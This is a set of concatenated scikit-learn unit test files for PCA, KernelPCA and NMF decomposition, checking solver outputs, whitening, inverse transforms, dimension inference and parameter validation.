from sklearn.decomposition import PCA
from sklearn.decomposition import RandomizedPCA
from sklearn.decomposition.pca import _assess_dimension_
from sklearn.decomposition.pca import _infer_dimension_

iris = datasets.load_iris()
solver_list = ['full', 'arpack', 'randomized', 'auto']


def test_pca():
    # PCA on dense arrays
    X = iris.data

    for n_comp in np.arange(X.shape[1]):
        pca = PCA(n_components=n_comp, svd_solver='full')

        X_r = pca.fit(X).transform(X)
        np.testing.assert_equal(X_r.shape[1], n_comp)

        X_r2 = pca.fit_transform(X)
        assert_array_almost_equal(X_r, X_r2)

        X_r = pca.transform(X)
        X_r2 = pca.fit_transform(X)
        assert_array_almost_equal(X_r, X_r2)

        # Test get_covariance and get_precision
        cov = pca.get_covariance()
        precision = pca.get_precision()
        assert_array_almost_equal(np.dot(cov, precision),
                                  np.eye(X.shape[1]), 12)

    # test explained_variance_ratio_ == 1 with all components
    pca = PCA(svd_solver='full')
    pca.fit(X)
    assert_almost_equal(pca.explained_variance_ratio_.sum(), 1.0, 3)


def test_pca_arpack_solver():
    # PCA on dense arrays
    X = iris.data
    d = X.shape[1]

    # Loop excluding the extremes, invalid inputs for arpack
    for n_comp in np.arange(1, d):
        pca = PCA(n_components=n_comp, svd_solver='arpack', random_state=0)

        X_r = pca.fit(X).transform(X)
        np.testing.assert_equal(X_r.shape[1], n_comp)

        X_r2 = pca.fit_transform(X)
        assert_array_almost_equal(X_r, X_r2)

        X_r = pca.transform(X)
        assert_array_almost_equal(X_r, X_r2)

        # Test get_covariance and get_precision
        cov = pca.get_covariance()
        precision = pca.get_precision()
        assert_array_almost_equal(np.dot(cov, precision),
                                  np.eye(d), 12)

    pca = PCA(n_components=0, svd_solver='arpack', random_state=0)
    assert_raises(ValueError, pca.fit, X)
    # Check internal state
    assert_equal(pca.n_components,
                 PCA(n_components=0,
                     svd_solver='arpack', random_state=0).n_components)
    assert_equal(pca.svd_solver,
                 PCA(n_components=0,
                     svd_solver='arpack', random_state=0).svd_solver)

    pca = PCA(n_components=d, svd_solver='arpack', random_state=0)
    assert_raises(ValueError, pca.fit, X)
    assert_equal(pca.n_components,
                 PCA(n_components=d,
                     svd_solver='arpack', random_state=0).n_components)
    assert_equal(pca.svd_solver,
                 PCA(n_components=0,
                     svd_solver='arpack', random_state=0).svd_solver)


def test_pca_randomized_solver():
    # PCA on dense arrays
    X = iris.data

    # Loop excluding the 0, invalid for randomized
    for n_comp in np.arange(1, X.shape[1]):
        pca = PCA(n_components=n_comp, svd_solver='randomized', random_state=0)

        X_r = pca.fit(X).transform(X)
        np.testing.assert_equal(X_r.shape[1], n_comp)

        X_r2 = pca.fit_transform(X)
        assert_array_almost_equal(X_r, X_r2)

        X_r = pca.transform(X)
        assert_array_almost_equal(X_r, X_r2)

        # Test get_covariance and get_precision
        cov = pca.get_covariance()
        precision = pca.get_precision()
        assert_array_almost_equal(np.dot(cov, precision),
                                  np.eye(X.shape[1]), 12)

    pca = PCA(n_components=0, svd_solver='randomized', random_state=0)
    assert_raises(ValueError, pca.fit, X)

    pca = PCA(n_components=0, svd_solver='randomized', random_state=0)
    assert_raises(ValueError, pca.fit, X)
    # Check internal state
    assert_equal(pca.n_components,
                 PCA(n_components=0,
                     svd_solver='randomized', random_state=0).n_components)
    assert_equal(pca.svd_solver,
                 PCA(n_components=0,
                     svd_solver='randomized', random_state=0).svd_solver)


def test_no_empty_slice_warning():
    # test if we avoid numpy warnings for computing over empty arrays
    n_components = 10
    n_features = n_components + 2  # anything > n_comps triggered it in 0.16
    X = np.random.uniform(-1, 1, size=(n_components, n_features))
    pca = PCA(n_components=n_components)
    assert_no_warnings(pca.fit, X)


def test_whitening():
    # Check that PCA output has unit-variance
    rng = np.random.RandomState(0)
    n_samples = 100
    n_features = 80
    n_components = 30
    rank = 50

    # some low rank data with correlated features
    X = np.dot(rng.randn(n_samples, rank),
               np.dot(np.diag(np.linspace(10.0, 1.0, rank)),
                      rng.randn(rank, n_features)))
    # the component-wise variance of the first 50 features is 3 times the
    # mean component-wise variance of the remaining 30 features
    X[:, :50] *= 3

    assert_equal(X.shape, (n_samples, n_features))

    # the component-wise variance is thus highly varying:
    assert_greater(X.std(axis=0).std(), 43.8)

    for solver, copy in product(solver_list, (True, False)):
        # whiten the data while projecting to the lower dim subspace
        X_ = X.copy()  # make sure we keep an original across iterations.
        pca = PCA(n_components=n_components, whiten=True, copy=copy,
                  svd_solver=solver, random_state=0, iterated_power=7)
        # test fit_transform
        X_whitened = pca.fit_transform(X_.copy())
        assert_equal(X_whitened.shape, (n_samples, n_components))
        X_whitened2 = pca.transform(X_)
        assert_array_almost_equal(X_whitened, X_whitened2)

        assert_almost_equal(X_whitened.std(axis=0), np.ones(n_components),
                            decimal=6)
        assert_almost_equal(X_whitened.mean(axis=0), np.zeros(n_components))

        X_ = X.copy()
        pca = PCA(n_components=n_components, whiten=False, copy=copy,
                  svd_solver=solver).fit(X_)
        X_unwhitened = pca.transform(X_)
        assert_equal(X_unwhitened.shape, (n_samples, n_components))

        # in that case the output components still have varying variances
        assert_almost_equal(X_unwhitened.std(axis=0).std(), 74.1, 1)
        # we always center, so no test for non-centering.


# Ignore warnings from switching to more power iterations in randomized_svd
@ignore_warnings
def test_explained_variance():
    # Check that PCA output has unit-variance
    rng = np.random.RandomState(0)
    n_samples = 100
    n_features = 80

    X = rng.randn(n_samples, n_features)

    pca = PCA(n_components=2, svd_solver='full').fit(X)
    apca = PCA(n_components=2, svd_solver='arpack', random_state=0).fit(X)
    assert_array_almost_equal(pca.explained_variance_,
                              apca.explained_variance_, 1)
    assert_array_almost_equal(pca.explained_variance_ratio_,
                              apca.explained_variance_ratio_, 3)

    rpca = PCA(n_components=2, svd_solver='randomized', random_state=42).fit(X)
    assert_array_almost_equal(pca.explained_variance_,
                              rpca.explained_variance_, 1)
    assert_array_almost_equal(pca.explained_variance_ratio_,
                              rpca.explained_variance_ratio_, 1)

    # compare to empirical variances
    X_pca = pca.transform(X)
    assert_array_almost_equal(pca.explained_variance_,
                              np.var(X_pca, axis=0))

    X_pca = apca.transform(X)
    assert_array_almost_equal(apca.explained_variance_,
                              np.var(X_pca, axis=0))

    X_rpca = rpca.transform(X)
    assert_array_almost_equal(rpca.explained_variance_, np.var(X_rpca, axis=0),
                              decimal=1)

    # Same with correlated data
    X = datasets.make_classification(n_samples, n_features,
                                     n_informative=n_features-2,
                                     random_state=rng)[0]

    pca = PCA(n_components=2).fit(X)
    rpca = PCA(n_components=2, svd_solver='randomized',
               random_state=rng).fit(X)
    assert_array_almost_equal(pca.explained_variance_ratio_,
                              rpca.explained_variance_ratio_, 5)


def test_pca_check_projection():
    # Test that the projection of data is correct
    rng = np.random.RandomState(0)
    n, p = 100, 3
    X = rng.randn(n, p) * .1
    X[:10] += np.array([3, 4, 5])
    Xt = 0.1 * rng.randn(1, p) + np.array([3, 4, 5])

    for solver in solver_list:
        Yt = PCA(n_components=2, svd_solver=solver).fit(X).transform(Xt)
        Yt /= np.sqrt((Yt ** 2).sum())

        assert_almost_equal(np.abs(Yt[0][0]), 1., 1)


def test_pca_inverse():
    # Test that the projection of data can be inverted
    rng = np.random.RandomState(0)
    n, p = 50, 3
    X = rng.randn(n, p)  # spherical data
    X[:, 1] *= .00001  # make middle component relatively small
    X += [5, 4, 3]  # make a large mean

    # same check that we can find the original data from the transformed
    # signal (since the data is almost of rank n_components)
    pca = PCA(n_components=2, svd_solver='full').fit(X)
    Y = pca.transform(X)
    Y_inverse = pca.inverse_transform(Y)
    assert_almost_equal(X, Y_inverse, decimal=3)

    # same as above with whitening (approximate reconstruction)
    for solver in solver_list:
        pca = PCA(n_components=2, whiten=True, svd_solver=solver)
        pca.fit(X)
        Y = pca.transform(X)
        Y_inverse = pca.inverse_transform(Y)
        assert_almost_equal(X, Y_inverse, decimal=3)


def test_pca_validation():
    X = [[0, 1], [1, 0]]
    for solver in solver_list:
        for n_components in [-1, 3]:
            assert_raises(ValueError,
                          PCA(n_components, svd_solver=solver).fit, X)


def test_randomized_pca_check_projection():
    # Test that the projection by randomized PCA on dense data is correct
    rng = np.random.RandomState(0)
    n, p = 100, 3
    X = rng.randn(n, p) * .1
    X[:10] += np.array([3, 4, 5])
    Xt = 0.1 * rng.randn(1, p) + np.array([3, 4, 5])

    Yt = PCA(n_components=2, svd_solver='randomized',
             random_state=0).fit(X).transform(Xt)
    Yt /= np.sqrt((Yt ** 2).sum())

    assert_almost_equal(np.abs(Yt[0][0]), 1., 1)


def test_randomized_pca_check_list():
    # Test that the projection by randomized PCA on list data is correct
    X = [[1.0, 0.0], [0.0, 1.0]]
    X_transformed = PCA(n_components=1, svd_solver='randomized',
                        random_state=0).fit(X).transform(X)
    assert_equal(X_transformed.shape, (2, 1))
    assert_almost_equal(X_transformed.mean(), 0.00, 2)
    assert_almost_equal(X_transformed.std(), 0.71, 2)


def test_randomized_pca_inverse():
    # Test that randomized PCA is inversible on dense data
    rng = np.random.RandomState(0)
    n, p = 50, 3
    X = rng.randn(n, p)  # spherical data
    X[:, 1] *= .00001  # make middle component relatively small
    X += [5, 4, 3]  # make a large mean

    # same check that we can find the original data from the transformed signal
    # (since the data is almost of rank n_components)
    pca = PCA(n_components=2, svd_solver='randomized', random_state=0).fit(X)
    Y = pca.transform(X)
    Y_inverse = pca.inverse_transform(Y)
    assert_almost_equal(X, Y_inverse, decimal=2)

    # same as above with whitening (approximate reconstruction)
    pca = PCA(n_components=2, whiten=True, svd_solver='randomized',
              random_state=0).fit(X)
    Y = pca.transform(X)
    Y_inverse = pca.inverse_transform(Y)
    relative_max_delta = (np.abs(X - Y_inverse) / np.abs(X).mean()).max()
    assert_less(relative_max_delta, 1e-5)


def test_pca_dim():
    # Check automated dimensionality setting
    rng = np.random.RandomState(0)
    n, p = 100, 5
    X = rng.randn(n, p) * .1
    X[:10] += np.array([3, 4, 5, 1, 2])
    pca = PCA(n_components='mle', svd_solver='full').fit(X)
    assert_equal(pca.n_components, 'mle')
    assert_equal(pca.n_components_, 1)


def test_infer_dim_1():
    # TODO: explain what this is testing
    # Or at least use explicit variable names...
    n, p = 1000, 5
    rng = np.random.RandomState(0)
    X = (rng.randn(n, p) * .1 + rng.randn(n, 1) * np.array([3, 4, 5, 1, 2]) +
         np.array([1, 0, 7, 4, 6]))
    pca = PCA(n_components=p, svd_solver='full')
    pca.fit(X)
    spect = pca.explained_variance_
    ll = []
    for k in range(p):
        ll.append(_assess_dimension_(spect, k, n, p))
    ll = np.array(ll)
    assert_greater(ll[1], ll.max() - .01 * n)


def test_infer_dim_2():
    # TODO: explain what this is testing
    # Or at least use explicit variable names...
    n, p = 1000, 5
    rng = np.random.RandomState(0)
    X = rng.randn(n, p) * .1
    X[:10] += np.array([3, 4, 5, 1, 2])
    X[10:20] += np.array([6, 0, 7, 2, -1])
    pca = PCA(n_components=p, svd_solver='full')
    pca.fit(X)
    spect = pca.explained_variance_
    assert_greater(_infer_dimension_(spect, n, p), 1)


def test_infer_dim_3():
    n, p = 100, 5
    rng = np.random.RandomState(0)
    X = rng.randn(n, p) * .1
    X[:10] += np.array([3, 4, 5, 1, 2])
    X[10:20] += np.array([6, 0, 7, 2, -1])
    X[30:40] += 2 * np.array([-1, 1, -1, 1, -1])
    pca = PCA(n_components=p, svd_solver='full')
    pca.fit(X)
    spect = pca.explained_variance_
    assert_greater(_infer_dimension_(spect, n, p), 2)


def test_infer_dim_by_explained_variance():
    X = iris.data
    pca = PCA(n_components=0.95, svd_solver='full')
    pca.fit(X)
    assert_equal(pca.n_components, 0.95)
    assert_equal(pca.n_components_, 2)

    pca = PCA(n_components=0.01, svd_solver='full')
    pca.fit(X)
    assert_equal(pca.n_components, 0.01)
    assert_equal(pca.n_components_, 1)

    rng = np.random.RandomState(0)
    # more features than samples
    X = rng.rand(5, 20)
    pca = PCA(n_components=.5, svd_solver='full').fit(X)
    assert_equal(pca.n_components, 0.5)
    assert_equal(pca.n_components_, 2)


def test_pca_score():
    # Test that probabilistic PCA scoring yields a reasonable score
    n, p = 1000, 3
    rng = np.random.RandomState(0)
    X = rng.randn(n, p) * .1 + np.array([3, 4, 5])
    for solver in solver_list:
        pca = PCA(n_components=2, svd_solver=solver)
        pca.fit(X)
        ll1 = pca.score(X)
        h = -0.5 * np.log(2 * np.pi * np.exp(1) * 0.1 ** 2) * p
        np.testing.assert_almost_equal(ll1 / h, 1, 0)


def test_pca_score2():
    # Test that probabilistic PCA correctly separated different datasets
    n, p = 100, 3
    rng = np.random.RandomState(0)
    X = rng.randn(n, p) * .1 + np.array([3, 4, 5])
    for solver in solver_list:
        pca = PCA(n_components=2, svd_solver=solver)
        pca.fit(X)
        ll1 = pca.score(X)
        ll2 = pca.score(rng.randn(n, p) * .2 + np.array([3, 4, 5]))
        assert_greater(ll1, ll2)

        # Test that it gives different scores if whiten=True
        pca = PCA(n_components=2, whiten=True, svd_solver=solver)
        pca.fit(X)
        ll2 = pca.score(X)
        assert_true(ll1 > ll2)


def test_pca_score3():
    # Check that probabilistic PCA selects the right model
    n, p = 200, 3
    rng = np.random.RandomState(0)
    Xl = (rng.randn(n, p) + rng.randn(n, 1) * np.array([3, 4, 5]) +
          np.array([1, 0, 7]))
    Xt = (rng.randn(n, p) + rng.randn(n, 1) * np.array([3, 4, 5]) +
          np.array([1, 0, 7]))
    ll = np.zeros(p)
    for k in range(p):
        pca = PCA(n_components=k, svd_solver='full')
        pca.fit(Xl)
        ll[k] = pca.score(Xt)

    assert_true(ll.argmax() == 1)


def test_svd_solver_auto():
    rng = np.random.RandomState(0)
    X = rng.uniform(size=(1000, 50))

    # case: n_components in (0,1) => 'full'
    pca = PCA(n_components=.5)
    pca.fit(X)
    pca_test = PCA(n_components=.5, svd_solver='full')
    pca_test.fit(X)
    assert_array_almost_equal(pca.components_, pca_test.components_)

    # case: max(X.shape) <= 500 => 'full'
    pca = PCA(n_components=5, random_state=0)
    Y = X[:10, :]
    pca.fit(Y)
    pca_test = PCA(n_components=5, svd_solver='full', random_state=0)
    pca_test.fit(Y)
    assert_array_almost_equal(pca.components_, pca_test.components_)

    # case: n_components >= .8 * min(X.shape) => 'full'
    pca = PCA(n_components=50)
    pca.fit(X)
    pca_test = PCA(n_components=50, svd_solver='full')
    pca_test.fit(X)
    assert_array_almost_equal(pca.components_, pca_test.components_)

    # n_components >= 1 and n_components < .8 * min(X.shape) => 'randomized'
    pca = PCA(n_components=10, random_state=0)
    pca.fit(X)
    pca_test = PCA(n_components=10, svd_solver='randomized', random_state=0)
    pca_test.fit(X)
    assert_array_almost_equal(pca.components_, pca_test.components_)


def test_deprecation_randomized_pca():
    rng = np.random.RandomState(0)
    X = rng.random_sample((5, 4))

    depr_message = ("Class RandomizedPCA is deprecated; RandomizedPCA was "
                    "deprecated in 0.18 and will be "
                    "removed in 0.20. Use PCA(svd_solver='randomized') "
                    "instead. The new implementation DOES NOT store "
                    "whiten components_. Apply transform to get them.")

    def fit_deprecated(X):
        global Y
        rpca = RandomizedPCA(random_state=0)
        Y = rpca.fit_transform(X)

    assert_warns_message(DeprecationWarning, depr_message, fit_deprecated, X)
    Y_pca = PCA(svd_solver='randomized', random_state=0).fit_transform(X)
    assert_array_almost_equal(Y, Y_pca)






import numpy as np
import scipy.sparse as sp

from sklearn.utils.testing import (assert_array_almost_equal, assert_less,
                                   assert_equal, assert_not_equal,
                                   assert_raises)

from sklearn.decomposition import PCA, KernelPCA
from sklearn.datasets import make_circles
from sklearn.linear_model import Perceptron
from sklearn.pipeline import Pipeline
from sklearn.model_selection import GridSearchCV
from sklearn.metrics.pairwise import rbf_kernel


def test_kernel_pca():
    rng = np.random.RandomState(0)
    X_fit = rng.random_sample((5, 4))
    X_pred = rng.random_sample((2, 4))

    def histogram(x, y, **kwargs):
        # Histogram kernel implemented as a callable.
        assert_equal(kwargs, {})    # no kernel_params that we didn't ask for
        return np.minimum(x, y).sum()

    for eigen_solver in ("auto", "dense", "arpack"):
        for kernel in ("linear", "rbf", "poly", histogram):
            # histogram kernel produces singular matrix inside linalg.solve
            # XXX use a least-squares approximation?
            inv = not callable(kernel)

            # transform fit data
            kpca = KernelPCA(4, kernel=kernel, eigen_solver=eigen_solver,
                             fit_inverse_transform=inv)
            X_fit_transformed = kpca.fit_transform(X_fit)
            X_fit_transformed2 = kpca.fit(X_fit).transform(X_fit)
            assert_array_almost_equal(np.abs(X_fit_transformed),
                                      np.abs(X_fit_transformed2))

            # non-regression test: previously, gamma would be 0 by default,
            # forcing all eigenvalues to 0 under the poly kernel
            assert_not_equal(X_fit_transformed.size, 0)

            # transform new data
            X_pred_transformed = kpca.transform(X_pred)
            assert_equal(X_pred_transformed.shape[1],
                         X_fit_transformed.shape[1])

            # inverse transform
            if inv:
                X_pred2 = kpca.inverse_transform(X_pred_transformed)
                assert_equal(X_pred2.shape, X_pred.shape)


def test_kernel_pca_invalid_parameters():
    assert_raises(ValueError, KernelPCA, 10, fit_inverse_transform=True,
                  kernel='precomputed')


def test_kernel_pca_consistent_transform():
    # X_fit_ needs to retain the old, unmodified copy of X
    state = np.random.RandomState(0)
    X = state.rand(10, 10)
    kpca = KernelPCA(random_state=state).fit(X)
    transformed1 = kpca.transform(X)

    X_copy = X.copy()
    X[:, 0] = 666
    transformed2 = kpca.transform(X_copy)
    assert_array_almost_equal(transformed1, transformed2)


def test_kernel_pca_sparse():
    rng = np.random.RandomState(0)
    X_fit = sp.csr_matrix(rng.random_sample((5, 4)))
    X_pred = sp.csr_matrix(rng.random_sample((2, 4)))

    for eigen_solver in ("auto", "arpack"):
        for kernel in ("linear", "rbf", "poly"):
            # transform fit data
            kpca = KernelPCA(4, kernel=kernel, eigen_solver=eigen_solver,
                             fit_inverse_transform=False)
            X_fit_transformed = kpca.fit_transform(X_fit)
            X_fit_transformed2 = kpca.fit(X_fit).transform(X_fit)
            assert_array_almost_equal(np.abs(X_fit_transformed),
                                      np.abs(X_fit_transformed2))

            # transform new data
            X_pred_transformed = kpca.transform(X_pred)
            assert_equal(X_pred_transformed.shape[1],
                         X_fit_transformed.shape[1])

            # inverse transform
            # X_pred2 = kpca.inverse_transform(X_pred_transformed)
            # assert_equal(X_pred2.shape, X_pred.shape)


def test_kernel_pca_linear_kernel():
    rng = np.random.RandomState(0)
    X_fit = rng.random_sample((5, 4))
    X_pred = rng.random_sample((2, 4))

    # for a linear kernel, kernel PCA should find the same projection as PCA
    # modulo the sign (direction)
    # fit only the first four components: fifth is near zero eigenvalue, so
    # can be trimmed due to roundoff error
    assert_array_almost_equal(
        np.abs(KernelPCA(4).fit(X_fit).transform(X_pred)),
        np.abs(PCA(4).fit(X_fit).transform(X_pred)))


def test_kernel_pca_n_components():
    rng = np.random.RandomState(0)
    X_fit = rng.random_sample((5, 4))
    X_pred = rng.random_sample((2, 4))

    for eigen_solver in ("dense", "arpack"):
        for c in [1, 2, 4]:
            kpca = KernelPCA(n_components=c, eigen_solver=eigen_solver)
            shape = kpca.fit(X_fit).transform(X_pred).shape

            assert_equal(shape, (2, c))


def test_remove_zero_eig():
    X = np.array([[1 - 1e-30, 1], [1, 1], [1, 1 - 1e-20]])

    # n_components=None (default) => remove_zero_eig is True
    kpca = KernelPCA()
    Xt = kpca.fit_transform(X)
    assert_equal(Xt.shape, (3, 0))

    kpca = KernelPCA(n_components=2)
    Xt = kpca.fit_transform(X)
    assert_equal(Xt.shape, (3, 2))

    kpca = KernelPCA(n_components=2, remove_zero_eig=True)
    Xt = kpca.fit_transform(X)
    assert_equal(Xt.shape, (3, 0))


def test_kernel_pca_precomputed():
    rng = np.random.RandomState(0)
    X_fit = rng.random_sample((5, 4))
    X_pred = rng.random_sample((2, 4))

    for eigen_solver in ("dense", "arpack"):
        X_kpca = KernelPCA(4, eigen_solver=eigen_solver).\
            fit(X_fit).transform(X_pred)
        X_kpca2 = KernelPCA(
            4, eigen_solver=eigen_solver, kernel='precomputed').fit(
                np.dot(X_fit, X_fit.T)).transform(np.dot(X_pred, X_fit.T))

        X_kpca_train = KernelPCA(
            4, eigen_solver=eigen_solver,
            kernel='precomputed').fit_transform(np.dot(X_fit, X_fit.T))
        X_kpca_train2 = KernelPCA(
            4, eigen_solver=eigen_solver, kernel='precomputed').fit(
                np.dot(X_fit, X_fit.T)).transform(np.dot(X_fit, X_fit.T))

        assert_array_almost_equal(np.abs(X_kpca),
                                  np.abs(X_kpca2))

        assert_array_almost_equal(np.abs(X_kpca_train),
                                  np.abs(X_kpca_train2))


def test_kernel_pca_invalid_kernel():
    rng = np.random.RandomState(0)
    X_fit = rng.random_sample((2, 4))
    kpca = KernelPCA(kernel="tototiti")
    assert_raises(ValueError, kpca.fit, X_fit)


def test_gridsearch_pipeline():
    # Test if we can do a grid-search to find parameters to separate
    # circles with a perceptron model.
    X, y = make_circles(n_samples=400, factor=.3, noise=.05,
                        random_state=0)
    kpca = KernelPCA(kernel="rbf", n_components=2)
    pipeline = Pipeline([("kernel_pca", kpca), ("Perceptron", Perceptron())])
    param_grid = dict(kernel_pca__gamma=2. ** np.arange(-2, 2))
    grid_search = GridSearchCV(pipeline, cv=3, param_grid=param_grid)
    grid_search.fit(X, y)
    assert_equal(grid_search.best_score_, 1)


def test_gridsearch_pipeline_precomputed():
    # Test if we can do a grid-search to find parameters to separate
    # circles with a perceptron model using a precomputed kernel.
    X, y = make_circles(n_samples=400, factor=.3, noise=.05,
                        random_state=0)
    kpca = KernelPCA(kernel="precomputed", n_components=2)
    pipeline = Pipeline([("kernel_pca", kpca), ("Perceptron", Perceptron())])
    param_grid = dict(Perceptron__n_iter=np.arange(1, 5))
    grid_search = GridSearchCV(pipeline, cv=3, param_grid=param_grid)
    X_kernel = rbf_kernel(X, gamma=2.)
    grid_search.fit(X_kernel, y)
    assert_equal(grid_search.best_score_, 1)


def test_nested_circles():
    # Test the linear separability of the first 2D KPCA transform
    X, y = make_circles(n_samples=400, factor=.3, noise=.05,
                        random_state=0)

    # 2D nested circles are not linearly separable
    train_score = Perceptron().fit(X, y).score(X, y)
    assert_less(train_score, 0.8)

    # Project the circles data into the first 2 components of a RBF Kernel
    # PCA model.
    # Note that the gamma value is data dependent. If this test breaks
    # and the gamma value has to be updated, the Kernel PCA example will
    # have to be updated too.
    kpca = KernelPCA(kernel="rbf", n_components=2,
                     fit_inverse_transform=True, gamma=2.)
    X_kpca = kpca.fit_transform(X)

    # The data is perfectly linearly separable in that space
    train_score = Perceptron().fit(X_kpca, y).score(X_kpca, y)
    assert_equal(train_score, 1.0)






import numpy as np
from scipy import linalg
from sklearn.decomposition import (NMF, ProjectedGradientNMF,
                                   non_negative_factorization)
from sklearn.decomposition import nmf   # For testing internals
from scipy.sparse import csc_matrix

from sklearn.utils.testing import assert_true
from sklearn.utils.testing import assert_false
from sklearn.utils.testing import assert_raise_message, assert_no_warnings
from sklearn.utils.testing import assert_array_almost_equal
from sklearn.utils.testing import assert_almost_equal
from sklearn.utils.testing import assert_greater
from sklearn.utils.testing import assert_less
from sklearn.utils.testing import ignore_warnings
from sklearn.base import clone


random_state = np.random.mtrand.RandomState(0)


def test_initialize_nn_output():
    # Test that initialization does not return negative values
    data = np.abs(random_state.randn(10, 10))
    for init in ('random', 'nndsvd', 'nndsvda', 'nndsvdar'):
        W, H = nmf._initialize_nmf(data, 10, init=init, random_state=0)
        assert_false((W < 0).any() or (H < 0).any())


@ignore_warnings
def test_parameter_checking():
    A = np.ones((2, 2))
    name = 'spam'
    msg = "Invalid solver parameter: got 'spam' instead of one of"
    assert_raise_message(ValueError, msg, NMF(solver=name).fit, A)
    msg = "Invalid init parameter: got 'spam' instead of one of"
    assert_raise_message(ValueError, msg, NMF(init=name).fit, A)
    msg = "Invalid sparseness parameter: got 'spam' instead of one of"
    assert_raise_message(ValueError, msg, NMF(sparseness=name).fit, A)

    msg = "Negative values in data passed to"
    assert_raise_message(ValueError, msg, NMF().fit, -A)
    assert_raise_message(ValueError, msg, nmf._initialize_nmf, -A,
                         2, 'nndsvd')
    clf = NMF(2, tol=0.1).fit(A)
    assert_raise_message(ValueError, msg, clf.transform, -A)


def test_initialize_close():
    # Test NNDSVD error
    # Test that _initialize_nmf error is less than the standard deviation of
    # the entries in the matrix.
    A = np.abs(random_state.randn(10, 10))
    W, H = nmf._initialize_nmf(A, 10, init='nndsvd')
    error = linalg.norm(np.dot(W, H) - A)
    sdev = linalg.norm(A - A.mean())
    assert_true(error <= sdev)


def test_initialize_variants():
    # Test NNDSVD variants correctness
    # Test that the variants 'nndsvda' and 'nndsvdar' differ from basic
    # 'nndsvd' only where the basic version has zeros.
    data = np.abs(random_state.randn(10, 10))
    W0, H0 = nmf._initialize_nmf(data, 10, init='nndsvd')
    Wa, Ha = nmf._initialize_nmf(data, 10, init='nndsvda')
    War, Har = nmf._initialize_nmf(data, 10, init='nndsvdar',
                                   random_state=0)

    for ref, evl in ((W0, Wa), (W0, War), (H0, Ha), (H0, Har)):
        assert_true(np.allclose(evl[ref != 0], ref[ref != 0]))


@ignore_warnings
def test_nmf_fit_nn_output():
    # Test that the decomposition does not contain negative values
    A = np.c_[5 * np.ones(5) - np.arange(1, 6),
              5 * np.ones(5) + np.arange(1, 6)]
    for solver in ('pg', 'cd'):
        for init in (None, 'nndsvd', 'nndsvda', 'nndsvdar'):
            model = NMF(n_components=2, solver=solver, init=init,
                        random_state=0)
            transf = model.fit_transform(A)
            assert_false((model.components_ < 0).any() or
                         (transf < 0).any())


@ignore_warnings
def test_nmf_fit_close():
    # Test that the fit is not too far away
    for solver in ('pg', 'cd'):
        pnmf = NMF(5, solver=solver, init='nndsvd', random_state=0)
        X = np.abs(random_state.randn(6, 5))
        assert_less(pnmf.fit(X).reconstruction_err_, 0.05)


def test_nls_nn_output():
    # Test that NLS solver doesn't return negative values
    A = np.arange(1, 5).reshape(1, -1)
    Ap, _, _ = nmf._nls_subproblem(np.dot(A.T, -A), A.T, A, 0.001, 100)
    assert_false((Ap < 0).any())


def test_nls_close():
    # Test that the NLS results should be close
    A = np.arange(1, 5).reshape(1, -1)
    Ap, _, _ = nmf._nls_subproblem(np.dot(A.T, A), A.T, np.zeros_like(A),
                                   0.001, 100)
    assert_true((np.abs(Ap - A) < 0.01).all())


@ignore_warnings
def test_nmf_transform():
    # Test that NMF.transform returns close values
    A = np.abs(random_state.randn(6, 5))
    for solver in ('pg', 'cd'):
        m = NMF(solver=solver, n_components=4, init='nndsvd', random_state=0)
        ft = m.fit_transform(A)
        t = m.transform(A)
        assert_array_almost_equal(ft, t, decimal=2)


def test_nmf_transform_custom_init():
    # Smoke test that checks if NMF.transform works with custom initialization
    A = np.abs(random_state.randn(6, 5))
    n_components = 4
    avg = np.sqrt(A.mean() / n_components)
    H_init = np.abs(avg * random_state.randn(n_components, 5))
    W_init = np.abs(avg * random_state.randn(6, n_components))

    m = NMF(solver='cd', n_components=n_components, init='custom', random_state=0)
    ft = m.fit_transform(A, W=W_init, H=H_init)
    t = m.transform(A)


@ignore_warnings
def test_nmf_inverse_transform():
    # Test that NMF.inverse_transform returns close values
    random_state = np.random.RandomState(0)
    A = np.abs(random_state.randn(6, 4))
    for solver in ('pg', 'cd'):
        m = NMF(solver=solver, n_components=4, init='random', random_state=0)
        ft = m.fit_transform(A)
        t = m.transform(A)
        A_new = m.inverse_transform(t)
        assert_array_almost_equal(A, A_new, decimal=2)


@ignore_warnings
def test_n_components_greater_n_features():
    # Smoke test for the case of more components than features.
    A = np.abs(random_state.randn(30, 10))
    NMF(n_components=15, random_state=0, tol=1e-2).fit(A)


@ignore_warnings
def test_projgrad_nmf_sparseness():
    # Test sparseness
    # Test that sparsity constraints actually increase sparseness in the
    # part where they are applied.
    tol = 1e-2
    A = np.abs(random_state.randn(10, 10))
    m = ProjectedGradientNMF(n_components=5, random_state=0, tol=tol).fit(A)
    data_sp = ProjectedGradientNMF(n_components=5, sparseness='data',
                                   random_state=0,
                                   tol=tol).fit(A).data_sparseness_
    comp_sp = ProjectedGradientNMF(n_components=5, sparseness='components',
                                   random_state=0,
                                   tol=tol).fit(A).comp_sparseness_
    assert_greater(data_sp, m.data_sparseness_)
    assert_greater(comp_sp, m.comp_sparseness_)


@ignore_warnings
def test_sparse_input():
    # Test that sparse matrices are accepted as input
    from scipy.sparse import csc_matrix

    A = np.abs(random_state.randn(10, 10))
    A[:, 2 * np.arange(5)] = 0
    A_sparse = csc_matrix(A)

    for solver in ('pg', 'cd'):
        est1 = NMF(solver=solver, n_components=5, init='random',
                   random_state=0, tol=1e-2)
        est2 = clone(est1)

        W1 = est1.fit_transform(A)
        W2 = est2.fit_transform(A_sparse)
        H1 = est1.components_
        H2 = est2.components_

        assert_array_almost_equal(W1, W2)
        assert_array_almost_equal(H1, H2)


@ignore_warnings
def test_sparse_transform():
    # Test that transform works on sparse data.  Issue #2124

    A = np.abs(random_state.randn(3, 2))
    A[A > 1.0] = 0
    A = csc_matrix(A)

    for solver in ('pg', 'cd'):
        model = NMF(solver=solver, random_state=0, tol=1e-4, n_components=2)
        A_fit_tr = model.fit_transform(A)
        A_tr = model.transform(A)
        assert_array_almost_equal(A_fit_tr, A_tr, decimal=1)


@ignore_warnings
def test_non_negative_factorization_consistency():
    # Test that the function is called in the same way, either directly
    # or through the NMF class
    A = np.abs(random_state.randn(10, 10))
    A[:, 2 * np.arange(5)] = 0

    for solver in ('pg', 'cd'):
        W_nmf, H, _ = non_negative_factorization(
            A, solver=solver, random_state=1, tol=1e-2)
        W_nmf_2, _, _ = non_negative_factorization(
            A, H=H, update_H=False, solver=solver, random_state=1, tol=1e-2)

        model_class = NMF(solver=solver, random_state=1, tol=1e-2)
        W_cls = model_class.fit_transform(A)
        W_cls_2 = model_class.transform(A)
        assert_array_almost_equal(W_nmf, W_cls, decimal=10)
